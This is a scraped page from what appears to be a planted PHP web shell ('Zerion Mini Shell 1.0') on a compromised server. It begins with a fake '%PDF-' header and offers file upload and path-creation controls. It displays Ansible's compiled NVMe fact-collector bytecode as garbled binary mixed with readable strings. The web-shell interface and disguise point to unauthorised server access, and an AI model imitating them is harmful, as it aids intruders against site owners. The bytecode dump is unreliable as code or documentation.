%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/network/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/network/__pycache__/nvme.cpython-39.pyc

a

�)g�@slddlmZmZmZeZddlZddlZddlm	m
mZddl
mZddlmZGdd�de�ZdS)�)�absolute_import�division�print_functionN)�get_file_content)�NetworkCollectorc@s eZdZdZe�Zddd�ZdS)�NvmeInitiatorNetworkCollectorZnvmeNcCshi}d|d<tj�d�rdtdd���D]<}|�d�s&|�d�s&|��dkrLq&|�d�r&||d<qdq&|S)a�
        Currently NVMe is only supported in some Linux distributions.
        If NVMe is configured on the host then a file will have been created
        during the NVMe driver installation. This file holds the unique NQN
        of the host.

        Example of contents of /etc/nvme/hostnqn:

        # cat /etc/nvme/hostnqn
        nqn.2014-08.org.nvmexpress:fc_lif:uuid:2cd61a74-17f9-4c22-b350-3020020c458d

        �ZhostnqnZlinuxz/etc/nvme/hostnqn�#�;znqn.)�sys�platform�
startswithr�
splitlines�strip)�self�moduleZcollected_factsZ
nvme_facts�line�r�K/usr/lib/python3.9/site-packages/ansible/module_utils/facts/network/nvme.py�collect"s 
z%NvmeInitiatorNetworkCollector.collect)NN)�__name__�
__module__�__qualname__�name�setZ	_fact_idsrrrrrrsr)Z
__future__rrr�typeZ
__metaclass__r�
subprocessZ"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZ ansible.module_utils.facts.utilsrZ'ansible.module_utils.facts.network.baserrrrrr�<module>s

Zerion Mini Shell 1.0